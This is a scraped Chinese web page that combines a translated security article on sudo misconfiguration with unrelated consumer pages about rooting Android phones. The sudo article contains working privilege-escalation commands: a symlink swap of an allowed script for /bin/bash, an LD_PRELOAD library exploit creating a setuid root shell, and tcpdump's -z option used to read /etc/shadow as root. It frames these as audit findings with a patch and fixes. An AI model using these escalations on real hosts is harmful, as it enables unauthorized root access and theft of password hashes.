怎样获得咋么获取root权限限?

我是怎样通过Sudo获取root权限的 - 文章 - 伯乐在线
& 我是怎样通过Sudo获取root权限的
在处理安全相关的事务中,我们经常会发现服务器配置了权限管理的软件Sudo。和其它软件一样,配置Sudo也必须遵循最小特权的原则,用户只能被授予尽可能最小的特权来运行一些必要的任务或操作。因此,为了安全地配置Sudo,普通用户的权限必须被严格限制,他们仅能靠提升后的权限(通常是root用户的权限)合法地执行一组命令。
在实际应用中,根据最小特权原则配置的Sudo并不多见;即便有,也往往存在些许漏洞,我们利用这些漏洞就可以获取root权限。这样的话,就完蛋了,我们可以为所欲为!
这篇文章旨在给出一些错误和不安全配置的例子,这些是我们在安全评估中见到的并对生产环境造成了一定影响的例子。同时也告诉大家如何让自己的团队更加轻松地应对这些问题。
不安全的文件系统权限
考虑下面我们虚拟的用户“appadmin”的Sudo配置:
[sudo] password for appadmin:
User appadmin may run the following commands on this host:
(root) /opt/Support/start.sh, (root) /opt/Support/stop.sh,
(root) /opt/Support/restart.sh, (root) /usr/sbin/lsof
$ sudo -l[sudo] password for appadmin:User appadmin may run the following commands on this host:&&&&(root) /opt/Support/start.sh, (root) /opt/Support/stop.sh, &&&&(root) /opt/Support/restart.sh, (root) /usr/sbin/lsof
目前看起来没什么问题。接着我们来看看以下脚本:
$ ls -l /opt/Support/
-rwxr-xr-x 1 root
3 14:06 restart.sh
-rwxr-xr-x 1 appadmin appadmin 53 Oct
3 14:03 start.sh
$ ls -ld /opt/Support
drwxr-xr-x 2 appadmin appadmin 4096 Oct
3 13:58 /opt/Support
$ ls -l /opt/Support/total 4-rwxr-xr-x 1 root&&&& root&&&& 37 Oct&&3 14:06 restart.sh-rwxr-xr-x 1 appadmin appadmin 53 Oct&&3 14:03 start.sh$ ls -ld /opt/Supportdrwxr-xr-x 2 appadmin appadmin 4096 Oct&&3 13:58 /opt/Support
这些文件和目录的权限没有问题吗?在这里,我们有几个选项来提升我们的权限:
创建一个不存在的文件“stop.sh”
更改已存在的文件“start.sh”
移动文件“restart.sh”并创建另一个同名的文件
下面是第三种做法的演示:
$ mv /opt/Support/restart.sh{,.bak}
$ ln -s /bin/bash /opt/Support/restart.sh
$ sudo /opt/Support/restart.sh
[sudo] password for appadmin:
uid=0(root) gid=0(root) groups=0(root)
$ mv /opt/Support/restart.sh{,.bak}$ ln -s /bin/bash /opt/Support/restart.sh$ sudo /opt/Support/restart.sh[sudo] password for appadmin:# iduid=0(root) gid=0(root) groups=0(root)
Game?over!?:)
考虑下面我们的用户“monitor”的Sudo配置:
[sudo] password for monitor:
Matching Defaults entries for monitor on this host:
!env_reset
User monitor may run the following commands on this host:
(root) /etc/init.d/sshd
$ sudo -l[sudo] password for monitor:Matching Defaults entries for monitor on this host:&&&&!env_resetUser monitor may run the following commands on this host:&&&&(root) /etc/init.d/sshd
我们看到env_reset选项被禁用了!这就意味着我们可以更改我们被允许执行的命令的环境。根据Sudo版本的不同,我们可以通过传入环境变量来提升我们的权限,正如以下著名的漏洞那样:
LD_PRELOAD ( or )
同样需要知道的是,其它一些危险的环境变量也可能被我们滥用(PERL5OPT, PYTHONINSPECT 等等)。
应当指出,虽然,即使当env_reset被禁用,大多数危险的环境变量现在已经被Sudo根据默认的硬编码黑名单(hard-coded blacklist)删除了。使用root用户运行“sudo -V”查看“要删除的环境变量”这个黑名单。
不过,在版本低于1.8.5的Sudo中,我们发现通过命令行传递的环境变量不会被删除,尽管它们应该被删除。所以我们仍然可以利用和LD_PRELOAD类似的技术来提升我们的权限,下面给出了在最新版本的Red Hat企业版Linux 5.10系统中的例子(仅仅是少了最新的)。
$ rpm -q sudo
sudo-1.7.2p1-28.el5
$ cat & xoxo.c &&'LUL'
#include &unistd.h&
#include &stdlib.h&
void _init()
if (!geteuid()) {
unsetenv("LD_PRELOAD");
unlink("/tmp/libxoxo.so.1.0");
setgid(0);
setuid(0);
execl("/bin/sh","sh","-c","cp /bin/bash /tmp/. chown 0:0 /tmp/. /bin/chmod +xs /tmp/.bash",NULL);
$ gcc -o xoxo.o -c xoxo.c -fPIC
$ gcc -shared -Wl,-soname,libxoxo.so.1 -o /tmp/libxoxo.so.1.0 xoxo.o -nostartfiles
$ sudo LD_PRELOAD=/tmp/libxoxo.so.1.0 /etc/init.d/sshd blaaah
[sudo] password for monitor:
$ /tmp/.bash -p -c 'head -n 1 /etc/shadow'
uid=500(monitor) gid=500(monitor) euid=0(root) egid=0(root) groups=500(monitor)
root:$1$VjDVB93E$AUL2Mg1L2gH70HHxh2CEr/:99:7:::
123456789101112131415161718192021222324
$ rpm -q sudosudo-1.7.2p1-28.el5$ cat & xoxo.c &&'LUL'#include &unistd.h&#include &stdlib.h&&void _init(){ if (!geteuid()) {&& unsetenv("LD_PRELOAD");&& unlink("/tmp/libxoxo.so.1.0");&& setgid(0);&& setuid(0);&& execl("/bin/sh","sh","-c","cp /bin/bash /tmp/. chown 0:0 /tmp/. /bin/chmod +xs /tmp/.bash",NULL); }}LUL$ gcc -o xoxo.o -c xoxo.c -fPIC$ gcc -shared -Wl,-soname,libxoxo.so.1 -o /tmp/libxoxo.so.1.0 xoxo.o -nostartfiles$ sudo LD_PRELOAD=/tmp/libxoxo.so.1.0 /etc/init.d/sshd blaaah[sudo] password for monitor:$ /tmp/.bash -p -c 'head -n 1 /etc/shadow'uid=500(monitor) gid=500(monitor) euid=0(root) egid=0(root) groups=500(monitor)root:$1$VjDVB93E$AUL2Mg1L2gH70HHxh2CEr/:16128:0:99999:7:::
这个Bug位于文件sudo-1.8.4p5/plugins/sudoers/env.c的第685行,该处一个boolean比较操作没有被正确地执行。下面的补丁修复了这个问题:
--- sudo-1.8.4p5/plugins/sudoers/env.c
04:37:01. +1100
+++ sudo-1.8.4p5-fixed/plugins/sudoers/env.c
10:36:14. +1100
@@ -682,7 +682,7 @@
okvar = matches_env_keep(*ep);
okvar = matches_env_delete(*ep) ==
if (okvar == false)
if (okvar == true)
okvar = matches_env_check(*ep) !=
if (okvar == false) {
1234567891011
--- sudo-1.8.4p5/plugins/sudoers/env.c&&2012-03-30 04:37:01. +1100+++ sudo-1.8.4p5-fixed/plugins/sudoers/env.c&&&&2014-02-28 10:36:14. +1100@@ -682,7 +682,7 @@&&&&&&&&&&&&&&&&okvar = matches_env_keep(*ep);&&&&&&&&} else {&&&&&&&&&&&&okvar = matches_env_delete(*ep) == false;-&&&&&&&&&& if (okvar == false)+&&&&&&&&&& if (okvar == true)&&&&&&&&&&&&&&&&okvar = matches_env_check(*ep) != false;&&&&&&&&}&&&&&&&&if (okvar == false) {
在1.8.5版本的Sudo中,受影响的代码实际上被更改和清理掉了,以这种“悄无声息”的方式修复了存在的问题。结果就是,在1.8.5及以上版本中,通过命令行传递的环境变量也被清除了。
需要注意的是RHEL5.10系统仍然是脆弱的,因为它附带了版本(应用了先前的每一个安全补丁)。同样,RHEL从6.0到6.3兼容了一个1.7分支的版本。不过,RHEL6.4系统就要好一些,因为它附带了版本。
我们负责任地向供应商披露了这些安全问题,在一周之内,该漏洞被命名为,并公布了其中一些细节,同时发布了安全补丁。虽然为受其影响的发行版开发的安全更新还未发布,一个简单的解决措施是不要禁用env_reset选项,这是系统默认的。
Escape to shell
考虑下面我们的用户“john”的Sudo配置:
[sudo] password for john:
User john may run the following commands on this host:
(root) /usr/sbin/tcpdump
$ sudo -l[sudo] password for john:User john may run the following commands on this host:&&&&(root) /usr/sbin/tcpdump
在这个例子中,john能够截获网络流量。这个任务本身对管理员来讲是完全合法的,那么会是什么出了问题呢?值得了解一下“-z postrotate -command”(在tcpdump 4.0.0版本中引入)这个选项:
$ echo $'id\ncat /etc/shadow' & /tmp/.test
$ chmod +x /tmp/.test
$ sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root
[sudo] password for john:
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
Maximum file limit reached: 1
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
root:$6$CnflBAm.SEqAN6Rz$rZhceJkWQlw1Dl1LaWltiT.cIhXyHtk5Ot2C7mMygrr7XBhJFzLkO8RKphzgowaYUMJHiO2MB9oBRCKFQAWoz0:99:7:::
bin:*:99:7:::
12345678910
$ echo $'id\ncat /etc/shadow' & /tmp/.test$ chmod +x /tmp/.test$ sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root[sudo] password for john:tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytesMaximum file limit reached: 1uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023root:$6$CnflBAm.SEqAN6Rz$rZhceJkWQlw1Dl1LaWltiT.cIhXyHtk5Ot2C7mMygrr7XBhJFzLkO8RKphzgowaYUMJHiO2MB9oBRCKFQAWoz0:16138:0:99999:7:::bin:*:15980:0:99999:7:::...
注意“Z-root”需要基于RedHat的发行版(Fedora,CentOs等),因为它们在处理存储文件之前要TcpDump包来删除root权限。
那么,你能做些什么以避免Sudo的滥用?确保要仔细检查每一个获取提升后的权限来运行的程序,它们有可能直接获得root权限(a nice # prompt)。比如说,像vi或者less这样的程序,允许用户调用任意的shell命令(带!或者类似的),应该用更安全的同类程序,rvim和cat来代替它们。
想实战一下?接下来有个挑战,找出如何弹出一个root shell的方法。这里至少有两种方法可供我们参考,不过其中一种要比另一种更具侵略性,可以影响到系统的完整性。你可以在评论中给出你的解决办法。为了不削减趣味性,我们会在几个星期之后公布我们的和最原始的解决方法。系统环境是一个标准的CentOS 6.5系统,仅按“默认”的方式安装了zip包。
$ cat /usr/local/bin/extract_docs.sh
#!/bin/bash
zip -U /root/original-docs.zip -O /var/lib/extracted-docs.zip "$@"
$ ls -ld /root/original-docs.zip /usr/local/bin/ /usr/local/bin/extract_docs.sh /var/lib/ /var/lib/extracted-docs.zip
ls: cannot access /root/original-docs.zip: Permission denied
drwxr-xr-x.
2 root root 4096 Mar 12 17:02 /usr/local/bin/
-rwxr-xr-x.
1 root root
80 Mar 12 17:02 /usr/local/bin/extract_docs.sh
drwxr-xr-x. 15 root root 4096 Mar 12 17:02 /var/lib/
-rw-r--r--.
1 root root
964 Mar 12 17:02 /var/lib/extracted-docs.zip
$ rpm -q zip
zip-3.0-1.el6.x86_64
[sudo] password for kevin:
Matching Defaults entries for kevin on this host:
requiretty, !visiblepw, always_set_home, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR
LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE
LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER
LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User kevin may run the following commands on this host:
(root) /usr/local/bin/extract_docs.sh
12345678910111213141516171819202122
$ cat /usr/local/bin/extract_docs.sh#!/bin/bashzip -U /root/original-docs.zip -O /var/lib/extracted-docs.zip "$@"$ ls -ld /root/original-docs.zip /usr/local/bin/ /usr/local/bin/extract_docs.sh /var/lib/ /var/lib/extracted-docs.zipls: cannot access /root/original-docs.zip: Permission denieddrwxr-xr-x.&&2 root root 4096 Mar 12 17:02 /usr/local/bin/-rwxr-xr-x.&&1 root root&& 80 Mar 12 17:02 /usr/local/bin/extract_docs.shdrwxr-xr-x. 15 root root 4096 Mar 12 17:02 /var/lib/-rw-r--r--.&&1 root root&&964 Mar 12 17:02 /var/lib/extracted-docs.zip$ rpm -q zipzip-3.0-1.el6.x86_64$ sudo -l[sudo] password for kevin: Matching Defaults entries for kevin on this host:&&&&requiretty, !visiblepw, always_set_home, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR&&&&LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE&&&&LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER&&&&LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",&&&&secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin&User kevin may run the following commands on this host:&&&&(root) /usr/local/bin/extract_docs.sh
感谢阅读,现在把你的想法拿出来吧!
关于作者:
可能感兴趣的话题
关于伯乐在线博客
在这个信息爆炸的时代,人们已然被大量、快速并且简短的信息所包围。然而,我们相信:过多“快餐”式的阅读只会令人“虚胖”,缺乏实质的内涵。伯乐在线内容团队正试图以我们微薄的力量,把优秀的原创文章和译文分享给读者,为“快餐”添加一些“营养”元素。
新浪微博:
推荐微信号
(加好友请注明来意)
– 好的话题、有启发的回复、值得信赖的圈子
– 分享和发现有价值的内容与观点
– 为IT单身男女服务的征婚传播平台
– 优秀的工具资源导航
– 翻译传播优秀的外文文章
– 国内外的精选文章
– UI,网页,交互和用户体验
– 专注iOS技术分享
– 专注Android技术分享
– JavaScript, HTML5, CSS
– 专注Java技术分享
– 专注Python技术分享
& 2017 伯乐在线您的位置: >
手机root权限获取
热门标签词
Root权限获取失败怎么办?解决方法放出
出处:PConline原创&
作者:佚名
责任编辑:gushunjun1&
  现在许多手机进行ROOT权限的获取基本上都是使用的一键ROOT,大部分的手机都可以一键ROOT成功的,不过也有些ROOT获取失败的。那么ROOT权限获取失败怎么办呢?下面就为大家分享下ROOT权限获取失败怎么解决,仅供参考。  ROOT权限获取失败怎么办  1、Root系统版本及型号匹配  很多手机Root工具对于手机的型号以及系统版本有特定的要求,在未满足要求的情况下进行刷机失败的几率会相当大。刷带Recovery的内核是低版本固定手机型号Root的一个途径,如果通过&一键Root工具&刷机失败,不妨找找教程试试刷Recovery。  2、Recovery卡刷ROOT包  大多数的Android设备支持OTA或者ICS升级,用户可以把厂商推送的OTA以及ICS拷贝到SD卡中进行系统升级操作,这些手机大多也支持将固定的Root文件包通过刷机刷入手机系统当中,比如华为荣耀系列的部分机型。  3、Recovery模式菜单  很多&一键Root工具&需要用户在手机Recovery模式下开始刷机操作,如果在网上找到一篇Root教程反复尝试仍然失败的话,不妨在Root开始之前进入Recovery模式进行尝试(开机时按住音量减少键+电源键调出),最典型的例子是联想S720以及其他S系列机型。  4、安装手机驱动  很多&一键Root&工具需要用户保持与手机的连接状态,通过豌豆荚、91手机助手等工具预先在手机中装入手机版豌豆荚以及91手机助手等工具,是简单的安装手机驱动的方式。  5、PC系统  很多PC端的Root工具需要通过Windows XP模式进行刷机操作,而Win7或者Win 8的用户需要在使用类似工具的时候设置&管理员模式&以及&XP兼容模式&。  另外,一键ROOT失败,很多是因为该工具不支持你目前的手机型号所致。所以建议你换另外一个工具试试,多换几个。有的ROOT工具支持的机型更新比较慢的。实在不行只能是使用官方论坛提供的ROOT获取方法。  ROOT权限获取失败怎么解决?  如果是提示你ROOT成功,却不能使用ROOT功能的话,这样的问题基本上就是因为一些定制系统才会出现的。而这类手机是需要在你的手机设置里面去开放相关的ROOT权限才可以真正的使用ROOT的。  以上就是为大家介绍的相关的ROOT权限获取失败怎么办的解决思路。遇到刚上市的机型有时候没那么快就ROOT的,这种时候我们只能等待的。&&&&&&& 图片来源:网络相关阅读:Win8.1 Modern设置界面可跳转到控制面板Win8.1 Update SkyDrive改名OneDriveWin8.1 Update开始菜单的右键功能更强大Win8.1 Update实用功能:新应用自动提示Win8.1 Update任务栏可在APP里直接出现&
手机root权限获取
热门关键词热门搜索:
手机root权限软件
  root就是刷机解锁权限,能让你的手机做更多的事,装更多实用好用的软件,可玩性也更高。下面安卓乐园小编就整理了一些实用不错的手机root权限软件,让更多的人体验root刷机的乐趣。
更新时间:
2015手机游戏七夕节活动专题
重口味手机游戏专辑
无限金币版安卓游戏
吸血鬼手机游戏专辑评论列表(网友评论仅供网友表达个人看法,并不表明本站同意其观点或证实其描述)360手机卫士超强模式开启方法?获取ROOT权限!
360手机卫士超强模式开启方法?获取ROOT权限!
15:07:28&&&来源:anzowcom&&&作者:anzowcom 点击:0
&&&&分享到:
新版的360手机卫士新增加了超强模式,这个模式就是开启临时ROOT权限,可以使用360手机卫士对手机系统进行单独设置,单独管理,可以设置限制开机启动软件。还能卸载预装的顽固软件。下面介绍如何开启超强模式:1.下载和安装新版360手机卫士,并且手机是联网状态更新到新版。下载地址:手机二维码扫描下载:2.运行360手机卫士:点击底部-安全防护3.点击超级模式4.点击-立即开启5.360手机卫士会自动执行ROOT权限开启的。6.开启超强模式成功,你可以管理你的手机了。想用什么功能都可以了。这个软件设置仅针对360手机卫士获得ROOT权限,不是永久root权限。若需要获取永久的ROOT权限所有软件能管理的话建议使用下面的方法:安卓一键ROOT通用教程:
软件下载和使用方法进入:&
NexMusic+是款holo个性的音乐播映器,能够使用桌面插件,....
密室逃脱本站之前纠结已经发布多 好几个版本了,密室逃脱5再次来袭,....
Drift Mania(疯狂漂移)一款非常华丽的赛车游戏,玩家不但....
3G Manager(3G控制器)能在设备屏幕封闭时主动停用移动数....
小3来了,是小3哦, 容易的1+2=3,游戏容易,简单上手,您还等....
让交流回归实质,是时分更新你的谈天工具了! 易信,更轻更时髦!易信....
FingerScanner让你的手机变成指纹扫描仪,开机时需要扫描....
用户100万人的爱情游戏「魔法★魔法」中上台的美少女人物共19名发....
闻名游戏厂商Rovio研制的愤恨的小鸟第四代著作,初次以超萌女性化....
《孤胆枪手(Alien Shooter)》是一款俄罗斯开发商开发的....
资讯总排行
最新推荐资讯
商务合作:QQ:
电子邮箱:
安卓软件园手机版(扫描下图二维码下载)

我要回帖

更多关于 怎么解除root权限 的文章

 

随机推荐